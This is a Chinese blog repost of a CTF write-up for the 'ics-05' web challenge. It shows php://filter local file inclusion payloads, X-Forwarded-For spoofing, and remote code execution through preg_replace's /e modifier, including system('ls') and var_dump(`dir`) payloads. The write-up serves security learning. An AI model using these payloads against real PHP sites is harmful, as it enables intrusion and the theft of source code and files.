web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件)

2023-12-01 16:15

本文主要是介绍web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

题目

打开页面显示如下

只有这个页面能打开

显示如下

用dirsearch扫一下

查看了一下,发现没什么用

查看页面源代码

返回了,写入的参数,猜测可能有文件包含漏洞

用php伪协议读取文件

构造payload

?page=php://filter/read=convert.base64-encode/resource=index.php

显示如下

base64解码可得

<?php
error_reporting(0);@session_start();
posix_setuid(1000);?>
<!DOCTYPE HTML>
<html><head><meta charset="utf-8"><meta name="renderer" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="stylesheet" href="layui/css/layui.css" media="all"><title>设å¤ç»´æ¤ä¸­å¿</title><meta charset="utf-8">
</head><body><ul class="layui-nav"><li class="layui-nav-item layui-this"><a href="?page=index">äºå¹³å°è®¾å¤ç»´æ¤ä¸­å¿</a></li></ul><fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;"><legend>设å¤å表</legend></fieldset><table class="layui-hide" id="test"></table><script type="text/html" id="switchTpl"><!-- è¿éç checked çç¶æåªæ¯æ¼ç¤º --><input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="å¼|å³" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}></script><script src="layui/layui.js" charset="utf-8"></script><script>layui.use('table', function() {var table = layui.table,form = layui.form;table.render({elem: '#test',url: '/somrthing.json',cellMinWidth: 80,cols: [[{ type: 'numbers' },{ type: 'checkbox' },{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },{ field: 'name', title: '设å¤å', templet: '#nameTpl' },{ field: 'area', title: 'åºå' },{ field: 'status', title: 'ç»´æ¤ç¶æ', minWidth: 120, sort: true },{ field: 'check', title: '设å¤å¼å³', width: 85, templet: '#switchTpl', unresize: true }]],page: true});});</script><script>layui.use('element', function() {var element = layui.element; //导èªçhoverææãäºçº§èåç­åè½ï¼éè¦ä¾èµelement模å//çå¬å¯¼èªç¹å»element.on('nav(demo)', function(elem) {//console.log(elem)layer.msg(elem.text());});});</script><?php$page = $_GET[page];if (isset($page)) {if (ctype_alnum($page)) {
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?php echo $page; die();?></p><br /><br /><br /><br /><?php}else{?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?phpif (strpos($page, 'input') > 0) { //禁用了inputdie();}if (strpos($page, 'ta:text') > 0) {die();}if (strpos($page, 'text') > 0) {die();}if ($page === 'index.php') {die('Ok');}include($page);die();?></p><br /><br /><br /><br /><?php
}}//æ¹ä¾¿çå®ç°è¾å¥è¾åºçåè½,æ­£å¨å¼å中çåè½ï¼åªè½åé¨äººåæµè¯if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { //请求ip地址为127.0.0.1会返回welcome my admin!echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}?></body></html>

ctype_alnum($text)函数会匹配传入参数中是否全为数字或者字母,如果是返回true,否则返回false。

strpos(string,find,start) 函数查找find在另一字符串string中第一次出现的位置(大小写敏感)。

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行。

用bp伪造xff执行

利用preg_replace函数/e漏洞

preg_replace()函数的/e漏洞
正确的php system()函数的书写

preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern:       要搜索的模式,可以是字符串或一个字符串数组。
$replacement:   用于替换的字符串或字符串数组。
$subject:       要搜索替换的目标字符串或字符串数组。

就是替换字符串,要使 replacement 参数是我们想要的php代码即可

代码分析

123 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1')  //使用插件X-Forwarded-For Header改地址,{                                                
124 
125     echo "<br >Welcome My Admin ! <br >";
126 
127     $pattern = $_GET[pat];
128     $replacement = $_GET[rep];                      //判断三个变量存不存在,在进行perg_replace函数
129     $subject = $_GET[sub];                        
130                                 //这里的三个变量都是由我们输入,就方便多了                      
131     if (isset($pattern) && isset($replacement) && isset($subject)) {
132         preg_replace($pattern, $replacement, $subject);
133     }else{
134         die();
135     }

先测试一下

payload如下

?pat=/test/e&rep=phpinfo()&sub=test 

测试成功,成功返回执行phpinfo()

构造payload

?pat=/test/e&rep=var_dump(`dir`)&sub=test
or
pat=/php/e&rep=system("ls")&sub=test

显示如下

得到目录s3chahahaDir

访问后显示如下

进入flag/,发现flag.php

直接点进去是空白的

通过伪协议读取flag.php

payload

?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php

得到

base64解码,得到flag

参考文章内容

ics-05(命令执行漏洞及伪协议读取)

这篇关于web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/441828

相关文章

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

Java读取InfluxDB数据库的方法详解

《Java读取InfluxDB数据库的方法详解》本文介绍基于Java语言,读取InfluxDB数据库的方法,包括读取InfluxDB的所有数据库,以及指定数据库中的measurement、field、... 首先,创建一个Java项目,用于撰写代码。接下来,配置所需要的依赖;这里我们就选择可用于与Infl

springboot 加载本地jar到maven的实现方法

《springboot加载本地jar到maven的实现方法》如何在SpringBoot项目中加载本地jar到Maven本地仓库,使用Maven的install-file目标来实现,本文结合实例代码给... 在Spring Boothttp://www.chinasem.cn项目中,如果你想要加载一个本地的ja

Oracle的to_date()函数详解

《Oracle的to_date()函数详解》Oracle的to_date()函数用于日期格式转换,需要注意Oracle中不区分大小写的MM和mm格式代码,应使用mi代替分钟,此外,Oracle还支持毫... 目录oracle的to_date()函数一.在使用Oracle的to_date函数来做日期转换二.日

C#读取本地网络配置信息全攻略分享

《C#读取本地网络配置信息全攻略分享》在当今数字化时代,网络已深度融入我们生活与工作的方方面面,对于软件开发而言,掌握本地计算机的网络配置信息显得尤为关键,而在C#编程的世界里,我们又该如何巧妙地读取... 目录一、引言二、C# 读取本地网络配置信息的基础准备2.1 引入关键命名空间2.2 理解核心类与方法

使用JavaScript操作本地存储

《使用JavaScript操作本地存储》这篇文章主要为大家详细介绍了JavaScript中操作本地存储的相关知识,文中的示例代码讲解详细,具有一定的借鉴价值,有需要的小伙伴可以参考一下... 目录本地存储:localStorage 和 sessionStorage基本使用方法1. localStorage

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

SpringBoot使用Apache POI库读取Excel文件的操作详解

《SpringBoot使用ApachePOI库读取Excel文件的操作详解》在日常开发中,我们经常需要处理Excel文件中的数据,无论是从数据库导入数据、处理数据报表,还是批量生成数据,都可能会遇到... 目录项目背景依赖导入读取Excel模板的实现代码实现代码解析ExcelDemoInfoDTO 数据传输